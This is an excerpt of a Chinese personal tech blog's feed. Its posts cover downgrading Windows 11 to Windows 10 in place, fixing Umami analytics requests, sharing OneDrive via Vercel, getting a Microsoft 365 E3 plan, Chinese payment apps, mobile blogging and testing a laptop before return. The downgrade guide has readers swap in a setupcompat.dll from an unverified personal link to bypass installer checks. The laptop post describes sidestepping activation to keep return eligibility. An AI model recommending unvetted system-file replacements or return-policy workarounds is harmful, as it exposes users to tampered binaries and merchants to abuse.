<p>接下来我们先去下载Win10的ISO,前往 https://www.microsoft.com/zh-cn/software-download/windows10 ,如果你发现你没有可以下载ISO文件的地方,如图
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-1.oBr_bOhh.png" alt="" /></p>
|
||
<p>点击F12,打开Devtools,切换为设备仿真
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-2.DaeHhDKD.png" alt="" /></p>
|
||
<p>按F5,刷新页面,此时网页就会认为你是手机,就会让你下载ISO了
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-3.CAcH8oWl.png" alt="" /></p>
|
||
<p>选择版本 <strong>Windows 10 (多版本ISO)</strong>
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-5.jCDRYyM6.png" alt="" /></p>
|
||
<p>选择 <strong>简体中文</strong>
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-6.Br1p6W6G.png" alt="" /></p>
|
||
<p>下载 <strong>64位版本的ISO</strong>
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-7.D3vEjva3.png" alt="" /></p>
|
||
<p>得到ISO文件
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-8.y9zvzUST.png" alt="" /></p>
|
||
<p>确保你安装了 <strong>支持解压缩ISO</strong> 的软件,如 <a href="https://www.bandisoft.com/bandizip/">Bandizip 官方网站 - 免费压缩软件下载 (Windows)</a> ,<strong>解压ISO文件</strong>
|
||
<img src="https://blog.acofork.com/_astro/explorer_xY0rowaOaU.Bti9RgRx.gif" alt="" /></p>
|
||
<p>打开 <strong>已解压的ISO</strong> 文件夹,重命名 <code>setup.exe</code> 为 <code>setup1.exe</code>
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-11.DUwOGxg1.png" alt="" /></p>
|
||
<p>更改文件属性 - 兼容性为 <strong>Windows 8</strong>
|
||
<img src="https://blog.acofork.com/_astro/explorer_6TrQ3aXWcR.3lG4MeZ5.gif" alt="" /></p>
|
||
<p>下载伪装文件: <a href="https://acofork-my.sharepoint.com/:u:/g/personal/af_acofork_onmicrosoft_com/ESxJWKgjjHVEhlNoBG4oNWUB_-rGTlLRh1CkXdLoxJsGpw?e=8s79zt">Win11ToWin10.zip</a> 目的是强制激活安装程序中的 <strong>保数据升级</strong></p>
|
||
<p>解压出 <code>ei.cfg</code> 和 <code>setupcompat.dll</code> 。将其复制到ISO文件夹下的 <code>sources</code> 文件夹并替换其中已有的文件
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-13.Bix-N8Un.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/explorer_9vcYIunVJH.ib3HEzE5.gif" alt="" /></p>
|
||
<p>打开 <code>setup1.exe</code> ,<strong>更改 Windows 安装程序下载更新的方式</strong>,选择 <strong>不是现在</strong>,然后一路下一步
|
||
<img src="https://blog.acofork.com/_astro/SetupHost_dtT7QeMuhO.Bsqv6yiP.gif" alt="" /></p>
|
||
<p>等待变为 <strong>准备就绪,可以安装</strong> ,并确保 <strong>保留个人文件和应用</strong> ,选择 <strong>安装</strong>
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10.C6bW3OCn.png" alt="" /></p>
|
||
<p>等待设备开机时从 <strong>白条转圈</strong> 变为 <strong>白点转圈</strong> ,即Windows10已被安装
|
||
<img src="https://blog.acofork.com/_astro/win11-to-win10-15.DTF7qiKr.png" alt="" /></p>
|
||
<p>接下来你第一次开机可能会黑屏。表现为用户登录后随着一声警告声并且黑屏,此时移动鼠标可以看到光标移动,但无法点击屏幕上的任何元素</p>
|
||
<p>进入其他系统(如U盘中的PE系统),删除所有</p>
|
||
<pre><code>C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-开头的文件
|
||
</code></pre>
|
||
<p>再次开机,应该可以成功开机了</p>
|
||
<p>接下来 <code>Win+X</code> 打开管理员的Powershell</p>
|
||
<p>首先修复一下系统</p>
|
||
<pre><code>Dism.exe /Online /Cleanup-Image /CheckHealth
|
||
DISM.exe /Online /Cleanup-image /Scanhealth
|
||
DISM.exe /Online /Cleanup-image /Restorehealth
|
||
sfc /scannow
|
||
</code></pre>
|
||
<p>接下来修复系统应用</p>
|
||
<pre><code>恢复系统应用:add-appxpackage -register "C:\Windows\SystemApps\*\AppxManifest.xml" -disabledevelopmentmode
|
||
|
||
恢复内置应用:add-appxpackage -DisableDevelopmentMode -Register "C:\ProgramData\Microsoft\Windows\AppRepository\*\AppxManifest.xml" -verbose
|
||
|
||
恢复应用商店安装的应用:add-appxpackage -DisableDevelopmentMode -Register "C:\Program Files\WindowsApps\*\AppxManifest.xml" -verbose
|
||
</code></pre>
|
||
<p>你还可能会遇到点击 Win 弹出开始菜单后打不开设置,我是这样解决的
|
||
<img src="https://blog.acofork.com/_astro/explorer_DqoWvdqpPS.CUWF22lg.gif" alt="" /></p>
|
||
<p>至此,已完美“升级”为Windows10</p>
|
||
</content:encoded></item><item><title>解决困扰我多时的JS重复请求问题</title><link>https://blog.acofork.com/posts/swup-js/</link><guid isPermaLink="true">https://blog.acofork.com/posts/swup-js/</guid><description>如果你在我的博客初创就关注了,且具有一定的技术能力,你会发现我的博客曾经有一段时间在疯狂魔改,这可能会导致一些问题,并影响至今</description><pubDate>Tue, 18 Nov 2025 08:46:02 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>就如封面所说,我的博客是 <strong>魔改</strong> 而来的,而母版为 <a href="https://github.com/saicaca/fuwari">saicaca/fuwari: ✨A static blog template built with Astro.</a></p>
|
||
<p>就如Fuwari原版所称,该项目是一个 <strong>静态博客</strong> ,也就是写文章和部署网站是分离的,而文章是一个个MarkDown文件,构建后输出为HTML</p>
|
||
<p>因为原项目一开始就根本没有考虑 <strong>动态功能</strong> 如目前我博客使用的 <strong>访问量显示</strong> ,所以在加入动态功能后可能会有一些问题</p>
|
||
<p>这个访问量显示的思路曾在 <a href="/posts/static-view/">该文章</a> 曾讲述过。我假设你已经看完了,那么该思路的步骤有两个:1. 首先拿到全局分享Token 2. 拿该Token拿到实际的访问量</p>
|
||
<p>当时出现一个奇怪的问题,在步骤一中出现了多次的重复请求。自己分析后发现,我在博客中的三个地方都使用了同一套逻辑,且互相独立。白话来说,就是你打开博客,首先,它会获取全站访问量,同时,由于第一屏已经有一些文章,所以也会同时获取这些文章的访问量</p>
|
||
<p>但是这个全局分享Token在极长一段时间内根本不变,也就是会有特别多的冗余请求,于是当时我写了个中间件,将这个Token请求一次后就存到用户的浏览器,接下来需要用到的时候直接用,无需再次从网络请求中获取</p>
|
||
<p>但是在今天,有一位粉丝发现某些页面仍然会多次请求 Umami ,如图
|
||
<img src="https://blog.acofork.com/_astro/swup-js-1.Vn_q53Q6.png" alt="" /></p>
|
||
<p>于是,它开了一个 issue <a href="https://github.com/afoim/fuwari/issues/79">Bug: 站内转跳时由于swup处理不当导致的多umami实例 · Issue #79 · afoim/fuwari</a> ,告知我是Swup的问题,让Swup不管理这类JS即可,设置后的确可用</p>
|
||
<p>最终,使用该issue的方法后,我们随便打开一个页面,尝试分析,看看是否有问题
|
||
<img src="https://blog.acofork.com/_astro/swup-js-2.ELYJ5_DA.png" alt="" />
|
||
我们只看Umami请求:</p>
|
||
<ul>
|
||
<li>https://cloud.umami.is/script.js :Umami官方的全局JS,注入在所有页面中,用于后续将访客行为告知给Umami</li>
|
||
<li>http://localhost:4321/js/umami-share.js :之前写的中间件,用于避免多次请求Umami拿全局Token</li>
|
||
<li>https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0&amp;endAt=1763429011353&amp;unit=hour&amp;timezone=Asia%2FShanghai&amp;compare=false :获取全站统计信息。为什么在文章页也会获取全站统计?因为全站统计被安放在用户配置块,而用户配置块全局可见</li>
|
||
<li>https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0&amp;endAt=1763429243350&amp;unit=hour&amp;timezone=Asia%2FShanghai&amp;path=eq.%2Fposts%2Fswup-js%2F&amp;compare=false :获取本页统计信息</li>
|
||
<li>两个预检:由于CORS,请求源和被请求源不一致,这是浏览器自带的安全策略,实际顺序为 先预检(我不属于你?我能不能访问你?) - 再fetch(我允许你,访问吧) 。题外话:为什么需要预检?因为浏览器要确保该请求是对方明确允许的,而不是恶意网站强行访问的,否则会触发 <strong>CSRF</strong> 攻击,也就是对端源安全策略过于宽松,导致谁都能拿到信息,这些信息可能是敏感的(如登录Token,用户名与密码等)</li>
|
||
<li>https://api-gateway.umami.dev/api/send :Umami的官方JS,用于将本次访问的行为汇报给Umami</li>
|
||
</ul>
|
||
<p>问题已被完美解决!无冗余请求,干净利落</p>
|
||
</content:encoded></item><item><title>来!让我们用Vercel来分享你的OneDrive!</title><link>https://blog.acofork.com/posts/onedrive-index/</link><guid isPermaLink="true">https://blog.acofork.com/posts/onedrive-index/</guid><description>利用onedrive-index这个项目可以将你的OneDrive映射到公网,轻松分发资源!</description><pubDate>Fri, 14 Nov 2025 15:03:46 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>你可以根据<a href="/posts/ms-e3/">前文</a>免费拿E3,得到至高免费5T的OneDrive存储空间,也可以用你个人永久免费的5G空间,都可以!</p>
|
||
<p>前往 <a href="https://ovi.swo.moe/zh/docs/advanced#%E4%BD%BF%E7%94%A8%E4%BD%A0%E8%87%AA%E5%B7%B1%E7%9A%84-client-id-%E4%B8%8E-secret">高级 - OneDrive Vercel Index</a> 拿到 clientid 和 secret</p>
|
||
<p>前往该页面,点击快速部署 <a href="https://github.com/iRedScarf/onedrive-index/blob/main/README.zh-CN.md#%E9%83%A8%E7%BD%B2%E5%88%B0vercel">onedrive-index/README.zh-CN.md at main · iRedScarf/onedrive-index</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/onedrive-index-1.W2K7yMDJ.png" alt="" /></p>
|
||
<p>填写必须的5个环境变量
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-2.PiapXpq-.png" alt="" /></p>
|
||
<p>其中,USER_PRINCIPAL_NAME为类似 huding@Smartree233.onmicrosoft.com 的电子邮箱,也就是你登陆OneDrive的用户名</p>
|
||
<p>Vercel部署完毕后,会报错连不上Redis,因为我们还没创建和绑定,现在我们开始做
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-3.DRISzW0D.png" alt="" /></p>
|
||
<p>前往 https://vercel.com/integrations/upstash 点击 Install
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-4.CMNaxaeT.png" alt="" /></p>
|
||
<p>选择你要绑定的Vercel项目,并且设置Redis实例名称
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-5.BfL5Jyz9.png" alt="" /></p>
|
||
<p>来到Vercel的环境变量页面,这就是绑定成功了
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-6.D_42MKCx.png" alt="" /></p>
|
||
<p>随便打开一个部署,点击 Redeploy 重新部署,就能成功连接数据库了</p>
|
||
<p>接下来访问你的项目域名,进入OneDrive-Index的引导,需要打开微软的一个链接授权</p>
|
||
<p>授权后会重定向到一个localhost的域名,复制该URI,粘贴回OneDrive-Index即可(仅需一次)</p>
|
||
<p>成功部署!
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-7.RtFI8zzq.png" alt="" /></p>
|
||
<h1>同项目更改OneDrive账号</h1>
|
||
<p>首先在Vercel上更改这三个环境变量
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-8.cdtA97H7.png" alt="" /></p>
|
||
<p>然后打开 Upstash 找到对应的Redis,删除里面存储的所有Token
|
||
<img src="https://blog.acofork.com/_astro/onedrive-index-9.KWwgPn0q.png" alt="" /></p>
|
||
</content:encoded></item><item><title>永久免费OneDrive 5T,MS 365 E3保姆级拿下教程!</title><link>https://blog.acofork.com/posts/ms-e3/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ms-e3/</guid><description>曾经免费拿E5,但是封车很久了,现在E3又来了,快上车!</description><pubDate>Fri, 14 Nov 2025 14:09:41 GMT</pubDate><content:encoded><h1>参考文献</h1>
|
||
<p><a href="https://forum.naixi.net/thread-6702-1-1.html">微软Office365 E3订阅回归?25个E3 Dev免费开通指南 - 极圈 奶昔论坛</a></p>
|
||
<p><a href="https://forum.naixi.net/forum.php?mod=viewthread&amp;tid=6723">垃圾Dev!Office E3 Symphony可以订阅200万个授权许可 - 极圈 奶昔论坛</a></p>
|
||
<blockquote>
|
||
<p>注: 不建议碰Symphony</p>
|
||
</blockquote>
|
||
<h1>正式开始</h1>
|
||
<p>注册一个全局管理员,一路下一步,到绑卡那里直接退出然后用你的 <code>xxx@xxx.onmicrosoft.com</code> 去登录就行,纳税人识别号随便填(认认真真写,地址精确到你区县就好了,国家一定要填CN,不然后面没办法走支付宝) https://signup.microsoft.com/get-started/signup?products=35dffc92-9eb4-4d5c-82c2-2582b37bb9c4&amp;culture=zh-cn&amp;country=cn</p>
|
||
<p>买 E3(选择支付宝即可) https://admin.cloud.microsoft/?pid=C69E7747-2566-4897-8CBA-B998ED3BAB88&amp;quan=25&amp;bc=1&amp;sku=189a915c-fe4f-4ffa-bde4-85b9628d07a0&amp;ru=PDP#/Purchase/checkout</p>
|
||
<p>进 微软365管理中心 <a href="https://admin.cloud.microsoft/#/homepage">主页 - Microsoft 365 admin center</a></p>
|
||
<p>点击 账单 - 你的产品
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-1.D5kBO7LM.png" alt="" /></p>
|
||
<p>点分配许可证
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-2.DNh3lhxG.png" alt="" /></p>
|
||
<p>分配给你主账户
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-3.CFYu9PZ9.png" alt="" /></p>
|
||
<p>你已经可以用1T OneDrive了,进入 <a href="https://myapplications.microsoft.com/">My Apps</a> 选择OneDrive(如果进不去,或者根本没有OneDrive应用,可以直接使用 <code>https://你的组织名-my.sharepoint.com/my</code> 尝试访问,记得开梯子)
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-4.CaUJ5q9U.png" alt="" /></p>
|
||
<p>接下来我们来扩容</p>
|
||
<p>在管理中心点击全部显示
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-5.DdYBg2mW.png" alt="" /></p>
|
||
<p>选择 SharePoint
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-6.Cw5NTHwj.png" alt="" /></p>
|
||
<p>更改 设置 - OneDrive - 存储限制 为 5120 GB
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-7.BSKKCwlc.png" alt="" /></p>
|
||
<p>此时等等你的账号就会同步扩容了,如果等不及我们可以来手动强制扩容</p>
|
||
<p>回到 管理中心 选择 用户-活跃用户-管理角色-OneDrive,强制扩容
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-8.sU1BZKX7.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-9.CyPoz4t3.png" alt="" /></p>
|
||
<p>用刚才讲过的方法进入OneDrive,成功扩容
|
||
<img src="https://blog.acofork.com/_astro/ms-e3-10.DYxF1K-L.png" alt="" /></p>
|
||
<p>最后,注意一下,及时前往 <a href="https://mysignins.microsoft.com/security-info">My Sign-Ins | Security Info | Microsoft.com</a> 绑定更多的安全信息,避免日后无法访问账号
|
||
<img src="https://blog.acofork.com/_astro/e4d124d4c11d25813b40a984b6c15465.CG3tIerN.png" alt="" /></p>
|
||
</content:encoded></item><item><title>微信,支付宝,储蓄卡与信用卡的爱恨情仇</title><link>https://blog.acofork.com/posts/wx-zfb-card/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wx-zfb-card/</guid><description>在中国,一卡并不能通刷,鉴于二维码的普及,大部分商户使用扫码付款而不是刷卡付款,这可能会导致一些问题...</description><pubDate>Tue, 11 Nov 2025 08:20:44 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>就像简介所说,中国并不像国外,一张信用卡通刷一切,在海外购物,一般都用POS机刷卡,或者NFC支付,在中国,得益于二维码和微信支付宝的推广,一般我们有两种方式支付,一种是商家挂一个二维码,你主动给商家付款,而另一种是你展示付款码,商家来扫你扣款。无论是方法一还是方法二,都不是直接从 <strong>银联</strong> 扣款的,要不,你用的是 <strong>支付宝</strong> ,要不就是 <strong>微信</strong></p>
|
||
<h1>左右互搏的付款方式</h1>
|
||
<p>那么问题就渐渐浮现了,由于 <strong>支付宝</strong> 是阿里的,而 <strong>微信</strong> 是腾讯的,如果你想要在 <strong>淘宝</strong> 也就是 <strong>阿里系</strong> 软件付款,你是用不了微信的,反之,如果你想要在 <strong>腾讯系</strong> 软件消费,你也是用不了支付宝的</p>
|
||
<p>那么,这种情况如何解决呢?</p>
|
||
<p>没错,该银行卡出场了。在国外,银行卡是你的消费工具,在中国,银行卡是你在微信和支付宝两者的 <strong>兼容层</strong> 。假如,你的钱全部都存在微信,而你要付款的商户仅支持支付宝支付,那么这个时候,首先,你要将你的银行卡先绑定到微信和支付宝,你就需要先将款项从微信余额 <strong>提现</strong> 到你的银行卡,再打开支付宝,选择 <strong>充值</strong> ,将银行卡的钱充值到你的支付宝余额(当然,你也可以借助支付宝直接刷你银行卡里面的钱)</p>
|
||
<p>问题好像完美的解决了!只要有银行卡这个兼容层,你的余额无关平台了!只是付款的时候有时需要转换一下平台而已!真的是这样吗?</p>
|
||
<h1>银行中立,也严格</h1>
|
||
<p>因为银行既不隶属于 <strong>腾讯</strong> ,也不隶属于 <strong>阿里</strong> ,所以绝大部分银行卡可以很方便的绑定到微信支付宝进行消费</p>
|
||
<p>但是,这种消费方式是否可用,好用则取决于你的发卡行</p>
|
||
<p>说个题外话,你可能不知道的是,阿里实际上也有个银行,叫做 <strong>网商银行</strong> ,但是该卡 <strong>微信</strong> 不接受,反之,腾讯实际上也有个银行,叫做 <strong>微众银行</strong> ,同样,该卡 <strong>支付宝</strong> 也不接受。所以,想拿这种卡无痛在支付宝和微信互转是不可能的了</p>
|
||
<p>那么如果,你想要让余额在各平台流转,那就必须去找 <strong>中立的</strong> 银行,如:<strong>交通银行</strong> 、 <strong>农业银行</strong> 、<strong>广发银行</strong> 等等</p>
|
||
<p>世界上这么多银行,他们并不都是一视同仁的,鉴于国家近几年对于 <strong>反诈,反洗钱</strong> 的打击,特别是针对 <strong>未成年人</strong> ,你使用 <strong>中国银行</strong> <strong>工商银行</strong> 等 <strong>国有大行</strong> 进行 <strong>大额快进快出</strong> 时大概率会被冻结,并且无法通过网银解除,必须手动跑一次线下,这非常恶心,所以,如果你要开卡,就选择附近最近的银行,且不要选择那些国有大行</p>
|
||
<p>我家附近有 <strong>交通银行</strong> <strong>农业银行</strong> <strong>工商银行</strong> ,目前这三大行的卡我都有,交行Ⅱ类卡一张线下开,农行Ⅰ类卡一张、信用卡一张,工行社保卡(Ⅰ类)卡一张,另有Ⅰ类卡一张</p>
|
||
<p>如果你没有研究过银行卡,你可能不理解Ⅰ类,Ⅱ类,Ⅲ类,特种卡,信用卡等等,这里就大概快速讲下</p>
|
||
<ul>
|
||
<li>Ⅰ类:储蓄卡。绝大部分发卡行要求 <strong>线下开卡</strong> ,日限额1w-5w,后期你财力雄厚了可以提。其中,<strong>社保卡、医保卡</strong> 若有 <strong>储蓄功能</strong> ,也为Ⅰ类卡,且为 <strong>特种卡</strong> 。一个自然人一般来说只能自主注册 <strong>一张</strong> 一类卡(特种卡除外)</li>
|
||
<li>Ⅱ类:储蓄卡。绝大部分发卡行仅要求你有一个 <strong>他行一类卡</strong> ,然后可以通过 <strong>线上</strong> 自主注册。日限额1k-1w,不建议开</li>
|
||
<li>Ⅲ类卡:储蓄卡。一般作为 <strong>副卡,亲情卡</strong> 使用,日限额1k左右,不建议自己用</li>
|
||
<li>特种卡:一般为储蓄卡。大部分为国家要求的 <strong>社保、医保账户</strong> ,除了一卡多用,其余和一类卡一致</li>
|
||
<li>信用卡:有储蓄功能,但是不咋好用,详见后文。未工作的学生可以申请,但是无信用额度,一般用于海外付款(强制需要CVV/CVC,不接受储蓄卡的收单机构),已工作的将会根据你的工作状态给你批额度</li>
|
||
</ul>
|
||
<p>我曾经在使用 <strong>工商银行</strong> 的储蓄卡进行网上消费,因为想要吃支付宝的优惠,则将微信里面的钱先转到银行卡,然后通过支付宝进行扣款,然后失败了,跑去网点后说我 <strong>大额快进快出</strong> 还要吃店员的司马脸,好在给了身份证和卡和账单,滴几下就解开了,之后,我就再也没有把钱放在工行了</p>
|
||
<p>设想一个场景,你有一个Ⅰ类卡,日限额10000 CNY,卡里余额8000 CNY,你现在想要购买一个6000 CNY的商品,于是使用微信或支付宝进行支付,然后你款式选错了,于是进行退款,好在商家还没有发货,痛快的给你退款了,然后看似你的卡状态又回到了一开始的状态,你重新确认款式,再次购买,然后被银行卡拒绝了,说超出限额。注意到了吗,当你第一次成功扣款后,你的当日限额就只有 4000 CNY了,哪怕原款项已经原封不动退回你的卡里了,但是你付了就是付了,不管你最终是退款了,还是成功交易了,限额在你的钱从卡到对面商户那边的那一瞬间就已经扣除了,并且无法恢复。同样的,对于将卡里的钱提现到微信和支付宝,也是会扣除你的日限额,所以跨平台互转需谨慎,一不小心,你的卡就会进入只进不出的情况,当你多次交易被拒绝后,某些银行还会暂时冻结你的银行卡,还需要带上身份证跑线下</p>
|
||
<h1>信用卡与储蓄卡</h1>
|
||
<p>不知道你是否注意到一件事,那就是我们在上文提到的Ⅰ类,Ⅱ类,Ⅲ类都提到了 <strong>日限额</strong> 唯独信用卡没有提到 <strong>日限额</strong> 。那么,信用卡是否就没有日限额呢?</p>
|
||
<p>对!信用卡的确没有日限额!但是!你微信支付宝的钱无法直接提现到信用卡中,要先转到储蓄卡,然后通过银行APP中的 <strong>转账</strong> 输入卡号将钱款转入信用卡</p>
|
||
<p>欸?你是否又发现一件事,没错!就算信用卡无日限额,但是最终将钱转到信用卡的时候,还是会扣除你对应的储蓄卡的日限额,你最终能转的钱一天还是那么多</p>
|
||
<p>信用卡无论是否有信用额度,各大发卡行都和微信支付宝有合作,你的日常消费使用信用卡大概率是有优惠,并且每笔都可以攒积分(类似于国外的 <strong>返现</strong> )</p>
|
||
<p>但是需要注意,我目前就读的学校食堂仅能用支付宝支付,且不支持信用卡,我只能在储蓄卡中留点余额</p>
|
||
<p>这也是国内支付的一个窘境,各大机构都鼓励你使用信用卡支付,但是有些商家不支持信用卡。而对于没有银行卡的未成年人群体,想要在微信和支付宝互转则是极其困难的,这也催生了 <strong>代付</strong> 业务,中介收取部分手续费,然后帮你支付(比如你只有微信余额但是想在淘宝买东西)</p>
|
||
<h1>对于巨头,我们只能妥协</h1>
|
||
<p>这几年淘宝曾经灰度了几次微信扫码付,但是大多数用户反馈就看到过几次,经常是今天能付,明天就找不到入口了。而京东始终不支持支付宝支付</p>
|
||
<p>在很长一段时间,<strong>蓝绿争霸</strong> 并不会停止,我们仍然需要将钱通过银行卡在各平台互转,且自己承担卡被冻结的风险</p>
|
||
<p>而互转的时候,微信通常会收取0.01%的服务费,小额可以通过做活动领取免服务费提现券,而支付宝会给每个自然人终生2w的免费提现额度,之后也会收取0.01%的服务费,在你看来,这可能无关痛痒,但是你想想每天有多少人在使用微信支付宝来回互转余额?就算每笔只收一毛钱的手续费,一秒也能创造出高额的收益,对于巨头,我们只能妥协</p>
|
||
</content:encoded></item><item><title>如何在安卓手机上优雅的写我的博客</title><link>https://blog.acofork.com/posts/mobile-git/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mobile-git/</guid><description>在桌面端,我们可以使用vsc+obsidian来写文章,那么在手机上呢?</description><pubDate>Tue, 11 Nov 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>为了让我出门在外也能通过我的手机来撰写我的博客文章,我研究了一下,发现是完全可以的</p>
|
||
<p>首先,我们需要挑选一个手机上的git客户端,这里我使用的是 https://github.com/catpuppyapp/PuppyGit</p>
|
||
<p>安装之后,点击右上角的加号,点击克隆,即可克隆仓库
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-11-13-56_a2e3670364a4153bdb03dad30c8d4108.CyrUBTzK.jpg" alt="" /></p>
|
||
<p>创建Github Token
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-24-07-55-54-35_df198e732186825c8df26e3c5a10d7cd1.DjiSEDGg.jpg" alt="" /></p>
|
||
<p>将其添加到小狗Git
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-24-07-56-23-48_a2e3670364a4153bdb03dad30c8d41081.CzvGlGBY.jpg" alt="" /></p>
|
||
<p>链接仓库<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-24-07-56-33-62_a2e3670364a4153bdb03dad30c8d4108.BPtruL29.jpg" alt="" /></p>
|
||
<p>当你修改好后,点击 <strong>需要提交</strong> 按钮,进入提交界面
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-11-59-16_a2e3670364a4153bdb03dad30c8d4108.DwFLD4N6.jpg" alt="" /></p>
|
||
<p>进入后点击右上角三个点就可以做我们最常用的 <strong>提交(commit),拉取(pull),推送(push)</strong> 啦
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-13-03-99_a2e3670364a4153bdb03dad30c8d4108.ByLFKnxn.jpg" alt="" /></p>
|
||
<p>好的,既然我们有了git客户端,那么既然要写文章,自然是需要一个好用的markdown编辑器,很巧的是,<strong>obsidian</strong> 也有移动端!
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-15-01-63_b5a5c5cb02ca09c784c5d88160e2ec24.icT7fgM5.jpg" alt="" /></p>
|
||
<p>打开后导入仓库(src/content)就可以啦,并且会自动同步桌面端的插件,无缝迁移!
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-15-59-46_51606159b24eff83e24a54116878fe3e.CDsDqDeW.jpg" alt="" /></p>
|
||
<p>在桌面端,我们想要新建文章一般会用Fuwari特有的 <code>pnpm new-post xxx</code> 命令,不过在手机上我们可以曲线救国,选择一个文章,<strong>创建副本</strong> 后再更改元数据即可!
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-17-32-08_51606159b24eff83e24a54116878fe3e.WzZnJnlB.jpg" alt="" /></p>
|
||
<p>最后!本篇文章也是用手机写的哦!</p>
|
||
</content:encoded></item><item><title>限制级笔记本电脑验机教程</title><link>https://blog.acofork.com/posts/check-notebook/</link><guid isPermaLink="true">https://blog.acofork.com/posts/check-notebook/</guid><description>众所周知,笔记本电脑在激活后就不能七天无理由退了,但是不联网又很难测,那么有没有什么两全其美的办法呢?</description><pubDate>Mon, 10 Nov 2025 00:00:00 GMT</pubDate><content:encoded><h1>说在前面</h1>
|
||
<p>首先,购买任何 <strong>较贵重的</strong> 电子产品,都应该录制 <strong>开箱视频</strong></p>
|
||
<p>一个 <strong>专业的</strong> 开箱视频应当:</p>
|
||
<ul>
|
||
<li>展示 <strong>完整的,无破损</strong> 的快递外包装</li>
|
||
<li>完整录制下拆箱过程。<strong>切勿遮挡,漏拍,剪辑过程</strong></li>
|
||
<li>依次展示包装盒内的内容:包括 <strong>电子产品本体,说明书,保修卡等</strong></li>
|
||
<li>检查产品是否 <strong>缺发,错发</strong></li>
|
||
<li>检查产品外观是否有 <strong>破损,污损</strong></li>
|
||
<li>完整录制下产品开机和测试过程</li>
|
||
<li>若 <strong>确定不想要了</strong> ,请完整拍摄重新封包并退货的视频</li>
|
||
</ul>
|
||
<p>开箱视频并不会每一次都用到,但在真正用到的时候一定可以减少纠纷</p>
|
||
<h1>激活原理以及绕过原理</h1>
|
||
<p>现代的预装了Windows10/11的笔记本电脑,在出厂后第一次联网后会自动激活且无法撤销</p>
|
||
<p>一旦联网,你的笔电将会</p>
|
||
<ul>
|
||
<li>和微软服务器通信并自动激活,上报主板id和激活码,自动激活,无需人工干预</li>
|
||
<li>将许可证写入系统,哪怕在断网并人为反激活后,依然可以在断网状态下再次激活</li>
|
||
</ul>
|
||
<p>这道题看似无解,实则有解,归功于Windows按版本许可的激活和x86架构主板的开放性,我们可以采取以下措施做到:
|
||
<strong>既不激活系统,又能联网进行测试,且不破坏出厂预装系统</strong></p>
|
||
<p>首先,我们要知道,Windows的激活并不是一个许可证通杀所有版本。目前99%的笔记本电脑出厂预装 <strong>Windows 10/11 家庭中文版</strong> 联网后自动激活的也是这个版本</p>
|
||
<p>那么,我们可以安装一个 <strong>非Windows 10/11家庭中文版</strong> 的系统(如:专业版,专业工作站版)</p>
|
||
<p>接着,在这个 <strong>我们自己安装的</strong> 系统里面,大大方方的进行联网测试</p>
|
||
<p>最终,测试完毕,若不满意想要退货,删除 <strong>我们自己安装的</strong> 系统,然后大大方方走 <strong>7天无理由退货</strong> ,之后,只要你包装完整,不漏件丢件, <strong>100%退款成功!</strong></p>
|
||
<h1>实操</h1>
|
||
<blockquote>
|
||
<p>准备U盘,便于进PE装系统</p>
|
||
</blockquote>
|
||
<p>首先,买一台笔记本电脑,到货后通电自动开机</p>
|
||
<p>关机,然后开机,进入bios,选择U盘作为启动项,进入U盘的PE系统</p>
|
||
<p>打开分区工具,如diskgenius,分一个新区装新系统</p>
|
||
<p>前往微软官方的Windows 10/11下载站下载 <strong>多版本的ISO(有些又叫multi-editon ISO)</strong></p>
|
||
<p>将ISO安装导新分的区,注意不要安装 <strong>Windows 家庭中文版</strong>,除此以外哪个都行</p>
|
||
<p>开机,测试</p>
|
||
<p>如果决定退货,请重新进入pe,还原分区,然后装箱封包退货退款</p>
|
||
<h1>邪道:已经激活了还想退</h1>
|
||
<blockquote>
|
||
<p>实验性方法,在你确认自己绝对不退之前请不要激活系统!!!这种方法会影响商家的二次销售,请体谅商家!!!</p>
|
||
</blockquote>
|
||
